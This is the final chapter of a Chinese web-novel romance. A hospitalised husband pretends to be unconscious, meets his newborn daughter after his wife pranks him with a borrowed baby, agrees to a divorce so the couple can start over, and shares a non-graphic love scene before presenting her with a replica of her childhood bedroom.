等甄宝珠打完电话回到病房,他平平躺在床上,眼睛紧紧闭着,脸色被烫得泛红,心脏砰砰直跳。 甄宝珠一眼就看到黎铮的口水顺着清晰的下颌线一路顺流到胸口,浸湿了裹胸的纱布,那张让她心动不已的秀美嘴唇流哈喇子了! 她赶忙抽出纸巾,解开他的病号服纽扣擦拭,边擦边在内心哀叹。 唉!真傻了。 虽然流口水也不影响英俊值, 惨兮兮的样子还挺想欺负欺负, 但她爱的是黎铮的灵魂! 傻了吧唧的黎铮 是不是没有反抗能力? 他都要看腿了, 她还不能为所欲为一下? 说起来,是很久没看过胸肌腹肌了。 反正他现在又晕过去了。 她鬼鬼祟祟偷瞄窗外,两根手指熟练地解开一粒粒病号服衣扣,粗糙纱布摩擦指背,顺着指尖传递的快感让她感觉自己像个兴奋的变态。 黎铮胸口前后紧紧包裹着几层纱布,看起来有种独特的破碎感,虽然躺了十来天消瘦很多,腹肌还有一点残存的痕迹,腰依然窄,平躺下人鱼线更加突出,脐下尚有蜿蜒经脉,腰跨两侧的骨骼顶着薄薄的皮肉,隔着单层病号服她都能看出来。 她的手指在纱布和皮肤的衔接处轻轻滑动。 粗粝、细腻。 起伏、平滑。 看着裸露的皮肤渐渐泛粉,她小脸通黄,轻轻伏在黎铮身上,不敢用力压他,凑近鼻尖在他坚硬的锁骨前闻嗅,她喜欢的苦涩味道大多被药味掩盖,但她灵敏的鼻子还能闻到一丝丝,把脸埋进黎铮的锁骨窝,深嗅的动作让胸腔微微鼓动,带动发涨的胸口紧紧贴着黎铮。 黎铮逼着自己强装下去,喉结却控制不住轻轻滚动,吞咽的动作吓到了甄宝珠,她立刻起身,像做贼一样目光乱飘。 “我、我就是打算给你换衣服,你可别多想。” 黎铮没有睁眼,病号服的裤子却支起来了,单层的布料,看得特别清晰。 傻了,但不影响功能? 甄宝珠托着下巴疑惑。 “算了,不欺负你了。”她又恋恋不舍地挠了挠他的下巴,“小可怜,放心吧,你下半辈子我管。” 她起身去衣柜里找新病号服,打算等黎铮醒过来再给他换衣服。 黎铮还敞开衣衫在那晾着,他自己费劲巴拉用打了石膏僵直的手扯过一小块被子盖在该盖的地方。 甄宝珠自言自语念叨:“以后你就跟着我,咱也不离婚了,我想办法治好你,治不好我养你一辈子。” 她抱着一套新病号服,转身坐在椅子上,瞥眼就注意到她很关注的地方被盖住了,再一看,黎铮唇边蕴着不易察觉的笑容。 甄宝珠舔舔唇角,无声哂笑,翘起腿在黎铮对面继续自言自语,“我听说外国有一种电击疗法,激活脑皮层,赶明儿我带你去好好电电。” 黎铮的笑意消失,眼睛还紧紧闭着。 甄宝珠背靠椅背,仰脖活动,一脸遗憾地说:“我一个人照顾两个人,忙不过来可怎么办?是时候考虑再找个男人了,咱们四个人一起过,我给甄羲喂饭的时候就让他给你喂饭,保证饿不着你。” 黎铮的眉头初见棱角,眼睛仍紧闭着。 “晚上我也不能放心让你单独睡觉,干脆拿铁链子把你拴起来,嗯”她认真想了想,续道:“就拴在主卧门把手上,主卧床大,反正叫.床你也听不懂了,婚前协议也撕了,我还能花点儿你的钱,你这么大的体格,一个男人帮我可能都不够” “甄宝珠,”黎铮迅速睁开眼,气得猛咳两声:“我是晕过去了,不是死过去了。” 甄宝珠坐在他对面,立刻伸脚往前一蹬,正踹在他打石膏的腿上,“给我装傻?装睡?又骗我?” 黎铮的气焰瞬间被扑灭,话里有些暗戳戳的委屈情绪:“我没有是你觉得我傻了,要换男人。” “离婚!”甄宝珠腾地站起来,双臂叉腰的影子覆盖在他身上。 黎铮垂着眼睫,艰难地翻了个身背对她。 甄宝珠:“” 她从床尾绕过去,又站在黎铮面前,“离、婚!” 黎铮闭上眼睛,默默又翻了个身。 如此反覆几次,在黎铮第五次翻身时,甄宝珠双手按住他的肩膀,刚打算狠捏一把,还没下手他就喊疼。 “疼疼疼,头也晕。你快出去,我需要休息。” “别装!头晕是因为你翻来翻去。”甄宝珠抱着手臂鄙视他。 黎铮怨怨道:“刚才还说管我下半辈子,养我一辈子” “我现在就让你没有下半辈子,”她扬臂大喊:“护士姐姐,把他氧气管给我拔了!我现在就通知火葬场热炉子,今天第一炉就烧你。” 黎铮却吃力地拉住她一只手,使不上力气也蜷回手指,不轻不重地握着,“你舍不得烧我,如果你舍得就不会抱住我不让我回家了,我这不是留在你身边了吗?” 甄宝珠惊诧到说不出话,一时分不清那究竟是不是梦境,她怔忪地坐在病床边平复情绪,黎铮却像早已想通,很多事情无法用科学来解释,就像他能活下来本来就是奇迹,他现在既迷信,又确定,她就是宿命。 “我是你的万里挑一,你是我的命中注定。” * 头上的伤和胸部的伤恢复得还算不错,伤筋动骨得一百天。 黎铮从昏迷中醒来也有十几天了,知道甄宝珠的病房就在隔壁,他有时能听到婴儿的哭声,甄宝珠也每天没事儿就来陪他,却从不见孩子。 关于孩子,他是一句不敢问,甄宝珠也不主动提。 那天下午,她在自己的病房给宝宝吃了口粮,就把甄羲交给育儿嫂,进黎铮病房时她还在低头系病号服的扣子,黎铮始终盯着她穿衣的动作,却欲言又止。 “这么看着我干嘛?你也饿了?还是馋了?”甄宝珠微挑眉梢逗弄他。 “不、不是。”黎铮脸色微红,“下次你穿好衣服再出来,小心着凉。” “不冷,谢谢关心。”甄宝珠坐在他床边削苹果,削好自己咬了几口。 她总这样,来看他,削苹果,最后黎铮连个苹果核都吃不上。 甄宝珠手拿苹果,盈盈一笑。 这些天他不问孩子,她也不说,故意抻着他。 黎铮垂下眼睫,“母乳喂孩子疼不疼?你有堵奶吗?要是怕疼的话,早点喝奶粉” “不疼不堵,谢谢关心。”甄宝珠又啃了口苹果,无所谓道。 “腰疼不疼?平时觉不觉得冷?月子病得重视。” “我每天只喂奶,其他都不管,你已经够让我头疼了,哪儿还能顾得上腰疼。”甄宝珠挑眉问道:“黎铮,你还想问什么?” 黎铮连忙摇头,“不想问什么,就是关心你。” “只关心我?不关心你的优秀基因?” “那是你的孩子,”黎铮又摇头,“不关心。” 看他那一副谨小慎微的样子,甄宝珠扑哧乐了,“本来还想说,抱来让你看看,认识认识,既然你也不关心” 黎铮的眼睛忽然闪亮,又不敢表现得太激动,十分不经意地说:“看看也行。” 甄宝珠眉眼弯弯,特别友好,“你等着啊,我去给你抱来。” 过了好长时间,甄宝珠才把宝宝抱来。 终于要和等待了十个月的宝宝见面,黎铮的心一直砰砰直跳。 甄宝珠抱着孩子推开门,黎铮远远就看到小小的包被,绣着可爱小兔子,看起来软绵绵的。 他顿时觉得全身骨头都好了,能抱着孩子跑十公里。 呸呸呸,他可不敢抱着孩子跑了。 那样甄宝珠会全球追杀他。 甄宝珠离他越近他心跳就越快,带动着眼皮一起跳。 他手臂还打着石膏,孩子只能由甄宝珠抱着,她俯腰把小婴儿递到黎铮期盼的目光下。 小婴儿身上有香甜的奶味,看起来有点儿营养不良,发色偏棕,头骨小小,长得漂亮极了,长睫毛、双眼皮、蓝眼睛。 等会儿! 第 49 章(正文完) 第49章 第 49 章(正文完) 以…… 等会儿!等会儿! 黎铮需要冷静一下。 他和婴儿四目相望, 墨黑深瞳对上碧蓝眼珠,小孩子红润润的嘴唇咧开,冲他笑了笑。 碧蓝眼珠被欧式双眼皮包裹, 高眉骨上附着的淡眉也是金棕色,这个时候如果黎铮还回不过味儿,他就是真傻了。 “甄宝珠” 他哑口无言, 真不知道该说什么。 甄宝珠挺直腰杆儿把孩子抱走, 低头给了小婴儿一个逗弄笑容, 大无所谓地说:“我可能记错了, 也许人工授精之前我还和前男友有联系,现在孩子生了我也不能塞回去,就这样吧。” 她掐着嗓尖儿, 用甜蜜的婴语逗孩子笑, “混血宝宝也很可爱的,是不是?” 黎铮始终懵懵的, 整个人像被炮轰过了, 他一直没说话, 望着甄宝珠。 “这孩子不是你的,误会一场,”甄宝珠抱着孩子踱步累了, 就坐在他对面椅子上,低头擦擦婴儿嘴边的口水, 对黎铮说:“你要是现在想离婚” “我不离婚。”黎铮脱口而出,人还没回过神。 “黎铮你傻了?”甄宝珠抬起头, “这是别人孩子,不是你的。” 黎铮想了几秒钟,又肯定地说:“我不离婚, 不管这是谁的孩子。” “你不是傻了,我看你是疯了。”甄宝珠摇摇头,对小婴儿露出笑容,低哄着:“立正疯了是不是?” “我记得你以前说过,我们结婚后,你是最大的价值,孩子只是赠品,我觉得你说得对,孰轻孰重我还是能分清。” 甄宝珠起身,又坐在他的床边靠近,十分严肃地说:“以后我也不会再生。” 黎铮点点头。 他还记得甄宝珠当时的惨嚎,余音绕梁,经久不绝,他再也不敢让她疼了。 黎铮挺直背脊,努力探头过去,看着棕发碧眼的小孩子,说:“我看这赠品也挺好。” “”甄宝珠无语。 黎铮抬起笔直的手臂,用还能活动的手指轻轻捏起婴儿袒露在外的小胳膊,“孩子还叫甄羲吗?叫名字她会笑吗?” “……”甄宝珠仍不言语。 他歪头望向婴儿腕上的蓝色手环,眉头一紧,察觉到事情不对劲儿。 “李爱德华?” “男孩儿?” 甄宝珠嫌弃地拍开他的手,把婴儿的小手重新裹进包被里,看他一眼又撇嘴:“怎么了?你骗我那么多次,我骗你一次怎么了?” “这孩子从哪儿抱来的?”黎铮板着脸,低声斥她 ,“赶紧给人家送回去。” 一双漂亮眼睛在他脸上逡巡片刻,甄宝珠切了一声,说:“这是甄羲上游泳课的朋友,孩子妈就在门外呢,人家知道你这么伤害我,特意把孩子借我,让你知、难、而、退!” “胡闹,”黎铮眉间紧锁,眼底的黯淡却消散了些,“你的目的达到了?” 甄宝珠狠狠白了他一眼,起身抱孩子出去,又在外面和爱德华妈妈聊天,两人边聊边笑,就那么走了。 留下黎铮在病房凌乱,他坐起来靠着床头,侧脸探望窗外,等待时间越长,心里越发焦急。 抱走李爱德华,也不打算让他见甄羲了? 正当他准备拄拐艰难下床时,甄宝珠又推门进来,怀里抱着他们的孩子。 吃饱正要打瞌睡的甄羲小朋友。 甄宝珠把孩子包被放在他的胸口,又将黎铮僵直的一双手臂弯回去,叠成一个很笨拙的抱孩子姿势。 “抱好,摔着我孩子,今天烧你。”她对黎铮放狠话。 他先看了一眼婴儿手环。 【甄羲,女】 之后才放心去看甄羲的小脸。 看到她的那一刻,黎铮觉得刚才看腕带的动作都太多余,这个孩子和他长得几乎一模一样,简直就是他的婴儿版。 她有着小小的二头身比例,软得像烤好的白玉薯芯,皮肤薄到仿佛能看到所有毛细血管,像全脂牛奶那一层的奶皮,让人不敢伸手触碰。 血缘关系妙不可言,甄羲在黎铮生硬的怀抱里,看着伤疤还未褪尽的脸,却咯咯咯地笑起来了,两个酒窝若隐若现。 旁人要是在她困倦时抱起她,她一定会哭的,但在黎铮的怀抱里,她一声不吭、眼都不眨。 黎铮和甄羲深深对视,不由激动得眼眶发热,他忽然抬起头,说:“谢谢你,甄宝珠。” 甄宝珠倒有些纳闷,笑问:“谢我什么?” “谢谢你选中我,一直没有放弃甄羲,才让我们今天能见面。”黎铮说着说着,又藏不住哽咽声调。 自从她生孩子,黎铮也没少哭。 这男人还挺脆弱,她想。 甄宝珠眉梢轻佻,“就口头谢?” “你想要什么?只要你说,我都能给你。” 他已经想好了,就算甄宝珠要摘星星,黎铮也会立刻去问载人飞船坐一次多少钱。 “我想离婚。”甄宝珠说。 也就是手脚不方便,不然黎铮一定得捂住甄羲的耳朵,他的手臂紧锢了一下,不得不再次重复那句话:“我不离” “我想给你一个机会。”甄宝珠也不再和他开玩笑,“我们的婚姻完全建立在欺骗的基础上,你欺骗我,我也有自己的心思,因为不是真诚的开始,固执地继续下去也得不到好结局,不如办了离婚手续,重新开始。黎铮,如果不离婚,这个槛儿在我心里,一辈子过不去。” 黎铮抱着孩子,沉默了很久,最后犹豫问道:“那以后还有可能复婚吗?” 甄宝珠也没想那么多,轻飘飘说:“看你表现。” “那孩子,我能不能” “你可以帮我一起抚养孩子,但甄羲姓甄,要在我甄家的户口本上。” “那”黎铮目光微动,大脑极速运转。 “那那那,那什么?”甄宝珠嫌他磨叽。 “我还有最后一个问题。” “说。” 黎铮小心翼翼地问:“那你刚才答应的那些,能签协议吗?” 甄宝珠不可置信地看着他,起身从他怀里夺过孩子,“不能!我愿意给你改错的机会,你别蹬鼻子上脸,以后怎样全凭我心情,看你不爽我随时踹了你,让你这个黎叔叔永远见不到甄羲。” “我不是爸爸吗?”黎铮木然问道。 “你想什么美事儿呢?”甄宝珠反问。 如果不是抱着孩子,她非得踢他一脚。 “你天天研究毛选,不破不立知道吧?你要是无条件投降,我还能给你一个机会,我给你时间考虑,五分钟怎么样?” 她大大咧咧坐在对面椅上,手里还抱着他的孩子,颇具挟天子以令诸侯的气势。 结婚证、离婚证只是一纸文书,结婚证不一定是开始,离婚证也不一定代表结束。 这些她都不在乎,她在乎的只是黎铮,因为珍视黎铮的感情,她愿意重新开始,但必须和过去一刀两断,这是她能为挽回感情做出的最大让步。 事实上,黎铮也用不着五分钟时间考虑,作为一个精明的生意人,趋利是本能,他沉默的那几分钟,只是在沉浸式回味甄羲的可爱肉脸颊。 “我愿意,”黎铮郑重地、满脸幸福地说:“我愿意和你离婚。” 春风走远,夏日来迟。 明朗日光照进窗台,怀抱孩子的女人曝在光下,她明媚一笑,唇间佯嗔:“傻子。” * 自打黎铮车祸之后,甄宝珠发现他越来越不要脸了。 他同意了离婚,但转天就喊着要转病房,要求把自己的病床挪到甄宝珠的单人病房里去。 黎铮对此理直气壮:“离婚之前我有权利每天和我老婆在一起。” 甄宝珠:“这是医院,不是情侣大床房。” 黎铮:“生同衾,死同穴,意思是没死就得一个被窝睡觉。” 甄宝珠扶额,已经不想和他说话了。 最后,VIP病房还是改成了双人间。 搬进去之后,黎铮誓死守护老婆的哺乳隐私,甄宝珠喂奶的时候,黎铮磕磕绊绊下床,拄着拐守在门外。 不管是医护还是月嫂,或者甄家谁谁谁,都不许进去。 他现在也胆儿大了,甄玉珠都敢拦。 天道好轮回, 甄玉珠坐着轮椅被黎铮的拐杖挡住了,他打石膏的腿和拐杖在病房门口形成一个四十五度锐角。 “让开,”甄玉珠撇眼过去,满脸写着烦他:“戎昱,把他拐杖扔了。” 黎铮的脸也是赛雪欺霜,看向戎昱的目光严肃异常:“姐夫。” 黎铮一挑眉,甄玉珠身体更僵了。 戎昱正气凛然的脸上浮过心虚之色,急忙向甄玉珠解释:“我什么都没说。” 甄玉珠闭了闭眼,“他是在试探我们的关系…” 黎铮对戎昱点了一下头,露出一个精于算计的笑容。 戎昱结舌,脸急得通红,在心里骂黎铮。 活该你老婆要和你离婚。 “看来你是好得差不多了,”甄玉珠说:“能出院去民政局离婚了。” 黎铮晃了晃拐杖,“你管这叫好得差不多?” 她的目光垂下,轻拍自己的双腿,“我这样也能去民政局。” 黎铮下巴一扬,“那你俩赶紧去把证领了吧,我就不送你们了。” 不知怎么的,甄玉珠觉得黎铮现在和甄宝珠越来越像了,总爱占点儿嘴上的便宜。 甄玉珠无语地笑笑,转而正色道:“你妹妹是以故意杀人立案的,宝珠的伤不足以立案,但你的伤势够立案标准了,你昏迷的时候我们已经申请做了伤情鉴定,现在鉴定结果已经出来了。她是你的妹妹,你愿意谅解,她的后果可能就不会太严重,你不愿意谅解,她就是故意杀人未遂” 甄玉珠不是在征询黎铮的想法,只是静静看着他。 黎铮的沉默结束在甄宝珠喊他进去的时候,他向房间里应了一声,转头对甄玉珠说:“我给你个明确态度,时刻提防不如彻底解决。” 甄宝珠在病房里叽里呱啦喊他:“御前持拐侍卫,速来!” “来了,”黎铮撤开拐杖,也对里面喊了一声:“你姐和你姐夫来了。” “姐夫?朕持保留态度!”甄宝珠在里面喊。 俩人一唱一和,幼稚得很。 黎铮的拐杖拦住戎昱,“甄宝珠有旨意,你不能进。” 甄玉珠和戎昱同时翻了个白眼。 甄宝珠当时正打算给孩子换尿不湿,黎铮跨步上前,“我来。” “”甄宝珠看着他瘸瘸拐拐的样子,把甄羲放在床上,抱着手臂,“你来,我看你怎么来?” 黎铮尝试动了动胳膊,最后说:“我叫育儿嫂来。” 等到他一瘸一拐去隔壁房间把育儿嫂叫来,甄宝珠已经给甄羲换好尿不湿了。 她把孩子递给育儿嫂让抱去睡觉,黎铮又拄拐紧跟在育儿嫂身后,盯着人家把甄羲抱稳,上蹿下跳一直跟着、看着育儿嫂把甄羲放在他亲手打的婴儿床上。 体力有限,运动强度还挺高, 蹦来跳去,一点儿忙没帮上。 “你歇会儿吧” “我不累,你不用心疼我。” “” 黎铮现在总有一种紧迫感, 不知道在忙什么,总之在忙。 新手爸爸,哦不,新手叔叔总是手忙脚乱的。 * 到了晚上,他就更不要脸。 陪护床早被抬出去了,他指挥人把两张病床拼在一起,甄羲的小婴儿床也被他拉到病床旁,白天晚上都紧紧看着,似乎是害怕孩子丢了。 晚上甄羲睡着,他就挪动身子挤过去紧贴甄宝珠,也不嫌热。 甄宝珠睡觉爱乱动,以前搭腿,接触到的是紧实肌肉,现在一不留神就被硬石膏磕到脚踝。 真想一脚把他踹下去。 把他推开,他却又蹭了回来,死皮赖脸地问:“想不想摸腹肌?” 甄宝珠撑起身子,反问:“你现在还有腹肌吗?” “” 前段时间甄宝珠的月子餐都是做两份,黎铮之前快速消瘦掉的称也全补回来了,他迅速抓住甄宝珠快要摸到肚子上的手,“不行。” “你耍我啊?”甄宝珠瞪他一眼。 手指扣住手指,黎铮说:“不行,等我出院了去几次健身房,你再摸。” “出院咱俩离了婚,摸来摸去算怎么回事儿?”甄宝珠扬起小脸,颇为傲娇。 黎铮舔了舔唇,湿润的嘴唇贴近她的耳垂,轻声细语间带着唇峰轻触,甄宝珠顿时酥麻地闭上了眼。 “前妻也是妻,你说呢,Rita?” 甄宝珠不知道他为什么总喜欢叫她的英文名,但低沉惑人的声音确实更性感,压抑的欲望化成尾音的短暂低喘,掠过柔软的耳骨,又轻轻咬了一口,刚痒又觉疼。 黎铮太上道了,这是明目张胆的勾引。 甄宝珠紧扣住他的手指,微张的嘴唇迫不及待想亲点儿什么,于是转头就吻住他的喉结,伸出舌尖勾了一下。 就一下,不多给。 他勾引她,她也勾引他。 很明显甄宝珠更胜一筹。 黎铮心口烧燥,费力把僵直的手臂压在她胸口,伸手捏住精致的下巴,吮吻柔软的嘴唇。 湿热的亲吻让两人都出了点儿汗,甄宝珠喘不过气,侧身躲痒,却被箍住腰肢紧贴一团坚硬,背脊也无力地软进他怀里。 高挺鼻梁刮蹭她的皮肤,柔情嘴唇叼住她的后颈,沉重喘息和舔吮声音在安静的夜里格外清晰,隔着两层病号服也能感受到他的欲望。 “坐上来。” “没有…” “需要用吗?” “你想让我再怀?” “不想,我忍吧。”他已经后悔招惹了,只觉得眼睛也胀胀的,“亲我一下行吗?” “亲哪儿?”甄宝珠故意问。 回答她的是烘热气息和柔软嘴唇,深深缠吻住她,不停说爱她,热烈得让她躲无可躲,仿佛他的嘴巴天生就该粘在她身上,他的心脏天生就该为她剧烈跳动。 吻到夜更深时,甄宝珠忽然转了转眼珠,咬住黎铮的嘴唇,手指一下一下抠着他胸前的绷带,低声咕哝:“我记得在医院一楼有自助领取避孕套的地方…” 黑夜中黎铮的眼光闪了闪,“我现在去。” “还是我去吧,你也不方便。” “不,我去。” 黎铮很坚持,甄宝珠看着他艰难起身拄拐的样子不免有点儿担心,“要不还是我去吧。” 他回头又亲了一口甄宝珠,“放心,我很快回来。” 黎铮一瘸一拐走出VIP病房,甄宝珠立刻起身,把甄羲抱到育儿嫂住的隔壁病房,并嘱咐月嫂一定要看好孩子不许半夜醒来。 等了好久,黎铮终于回来了。 他行动缓慢,找了半天也没找到自助机,干脆去医院马路对面的药店去买。 当半夜值班的营业员看到他,着实被他吓了一跳,左腿石膏右手绷带的男人身残志坚,人都快废了,瘾还这么大。 黎铮面色微红倒有点不好意思了,匆匆付款,把幸福的小雨伞装进口袋,一路瘸瘸拐拐还得时不时停下来,摸摸口袋确保没有掉出去。 就这样折腾了半小时他才回来,进病房发现甄羲不见了,他忙问:“孩子呢?” “月嫂抱走了。”甄宝珠也脸红。 两人对视一眼,心火烧得更旺。 黎铮还想着铺垫两句,坐在床边清了清嗓子,“也不是非要今天,你要是累了的话,要不…” “少废话,”甄宝珠一下把他按在床上,从他的病号服口袋里掏出两盒,“口是心非的男人,今天不要还买两盒?” “买一送一…” 说话间甄宝珠已经坐在他身上让他闭嘴了,长发散在胸前被她反手拢起,胴体在月光下皎洁柔润,海浪一般起伏,她的手指在微光下寻找柔情的嘴唇,那张唇微张,含住她的指尖,她也紧箍住他。 黎铮的第一次,是被甄宝珠上了。 * 又一个月之后,黎铮正式出院,从VIP病房入住到甄家的VIP客房。 甄家准备了婴儿房,墙壁刷了一半蓝色一半粉色,家里的阿姨们都帮忙照顾着,甄宝珠怀孕期间她们都考了月嫂证和育婴师证,工资也跟着涨了一波。 甄宝珠最大的任务就是做产后康复,盆底肌修复、腹直肌修复,骨盆复位训练。 孩子在甄家住下之后,白天家里人多,闹闹腾腾哄孩子,她能抱到的时候都很少,但夜奶总要她来喂,晚上一直休息不好,黑眼圈一直没褪。 黎铮出院以后还要忙公司的事儿,晚上睡在客房也不安生,他把婴儿监控器又拿出来装上了,孩子在甄宝珠的卧室一哭,他就一骨碌翻身醒来,走过长走廊到甄宝珠的卧室,再把孩子哄睡离开,这一过程结束他也睡不着了。 有几次他太累了,干脆留宿在主卧,人上了床,抱着甄宝珠却累到什么都干不了。 * 离婚冷静期最后一天,她和黎铮顺利办完了离婚手续。 绿本儿领到手,两人走出民政局,坐上同一辆奔驰商务,累得打哈欠。 “咱两现在离婚了。” “嗯。” “今天你就回你自己家去吧。” 黎铮低头回信息,只短短地“哦”了一声。 甄宝珠本想试探试探,想着他得紧抱大腿求她收留,流下两滴可怜的眼泪,没想到他竟然这么痛快就同意了,搞得她还有点儿恋恋不舍。 瞥眼偷看他,他连眼都没抬。 没一会儿,苏秀女士的电话就打来了。 她在电话那头骂骂咧咧:“任性!太任性了!要不是小黎给我发短信,我都不知道你又偷摸离婚了,现在的年轻人我真理解不了,昨天还难舍难分腻腻歪歪,今天离了?!简直是浪费国家资源!” 甄宝珠扭头一看,黎铮轻抬眉角,晃了晃手机。 她恨恨瞪黎铮一眼,撒娇对妈妈说:“我都鬼门关走一遭了,您就让我任性一回吧~” “一回?你哪回不任性?我听说你还要赶黎铮走?” “那都离婚了,他赖我们家干嘛?” “黎铮每晚都哄甄羲睡觉,没有功劳也有苦劳,你现在能离得开他,羲羲可离不开他。” 苏秀女士嗓门太大,黎铮听到后深深点头以示认同,甄宝珠后知后觉,给黎铮竖了个大拇指。 高,你他爹的实在是高! 苏秀女士骂了一通,给她下达最后通牒:“晚上准备饭了,小黎不回来你也别吃了!” 甄宝珠:“……” 挂断电话,甄宝珠对黎铮进行了惨无人道的问候,说他心里的眼儿比渔网袜上的都多,黎铮默默挨骂不还嘴,脸上低眉顺眼,手早就摸在她腿上了。 黎铮:“你骂吧我不说话,我以后动口就是亲嘴,动手就是摸腿。” 甄宝珠:“骚货!不要脸!” 黎铮:“我不要脸,我要老婆。” 甄宝珠:“……” 她把膝盖一歪,屁股一挪,逃开黎铮的魔爪,紧紧挨着车门,低声骂他变态。 骂着骂着她又累了,歪头抵着车窗打瞌睡,直到车子停下她才醒来。 黎铮为她打开车门,甄宝珠却发现这是个很陌生的地方。 花园式别墅前的守门石墩是一只狗的样子丿着腿的比熊串串。 黎铮抬了抬下巴,问她:“最近是不是特别想找个地方安静睡会儿?” 甄宝珠的气消了一半,嘴巴无所谓地撅起,脚步很诚实地跨进大门。 整栋房子和思懿庄园的格局大概相似,主楼三层,副楼一层,花园、泳池、喷泉景观一应俱全。 “这是你新买的房子?” “这是没送出去的礼物。” 一直走到内门前,甄宝珠想推门进去,黎铮却伸臂挡住,“进去就是要收下礼物。” 甄宝珠白他一眼,调头佯装要走,黎铮也不阻拦,只等门内的狗叫声留住甄宝珠的脚步。 “稍息不是在甄家?” “我让关林抱来了,你要狗就得要我、要我的礼物。” “你把我的狗偷走了?!” “光明正大抱走的…” 甄宝珠推门而入,稍息身上穿着精致的公主纱裙,额头上斜扎粉色蝴蝶结,站起身扑在她腿上,一跳一跳地要她抱。 甄宝珠抱起狗,仔细端详它身上如高定礼服般的小裙子,吭哧吭哧地笑,“稍息是男狗…” “但它在公主的城堡里。”黎铮强词夺理。 甄宝珠:“……” 她抱着狗参观,心里暗骂什么公主城堡,这里的装潢都和思懿庄园一模一样,就连她后来买的软装都被一比一复刻过来。 不喜欢改变,这装修就很黎铮。 黎铮解释道:“本来我装修成这样,是为了让你看到这儿就能想起我,就算再生我的气也能想起点儿我的好。” “说好的公主城堡呢?”甄宝珠举着稍息的爪子扑向黎铮。 “楼上。” 公主怀抱她的宠物,踩着深胡桃木的旋转楼梯上楼,二楼走廊的照片墙吸引她的目光,从她出生开始,每一岁的写真照片都在悠长的时间长廊存留,幼稚期、懵懂期、叛逆期… 慢慢走下去,一路走到主卧门口,靠门最近的照片是她和黎铮的结婚证件照。 甄宝珠手指照片,“这张不好看,撤掉。” “不撤,你每天睡前看一遍,早上醒来再看一遍,你不喜欢等拍了复婚证件照再换。”黎铮梗着脖子,那点儿心思彻底不藏了。 甄宝珠边呸他边推开主卧的门,被眼前景象惊住了。 拱形门窗、露天阳台、雕花书桌、水晶灯、公主床,甚至连床幔的款式,花瓶的形状都和她的卧室一模一样。 这里是她少女的闺房。 “你喜欢吗?”黎铮略显紧张。 自从第一次走进她的房间,他就想好了,一定要给她打造一模一样的房间,不能让她觉得婚后婚前有落差。 他说:“这一年你的身份发生了很多变化,你和我结婚,生下甄羲,现在是甄羲的妈妈,我的前妻,以后的生活如果这些角色让你累了,这里有个房子,是你一个人的空间,你来这里找一找甄宝珠。” 漂亮的眼睛光彩无限,唇边的酒窝轻盈颤动,公主轻轻踮脚,在黎铮侧脸印下一吻。 “那到时候黎铮在哪里?”她问。 “如果你来了这里,大概是我没做好,让你累了,到时候我应该是跪在门外,对了,应该买个软一点儿的门垫…” 甄宝珠又笑,身体仰倒在柔软的公主床上,伸了个闲散懒腰打哈欠,“我现在就觉得累了,你出去跪着吧。” 黎铮不要脸地睡在她身边,攥紧她的手,说:“先让我抱着前妻睡会儿。” 轻轻的吻落在她的额头,之后又满足地把下巴抵在她的发顶,把她抱紧在怀里,让她的笑容融进心口。 甄宝珠欲拒还迎地推了两下,伸手也紧箍住他的腰,一张脸轻蹭胸口,又埋进锁骨窝闻嗅。 糖果融进咖啡, 生活不再苦涩, 以后要一起过甜蜜的日子。 “你用我沐浴露了?” “嗯。” “不要脸。” “我爱你。” 他们紧紧相拥,睡了个极清静的觉。 (正文完)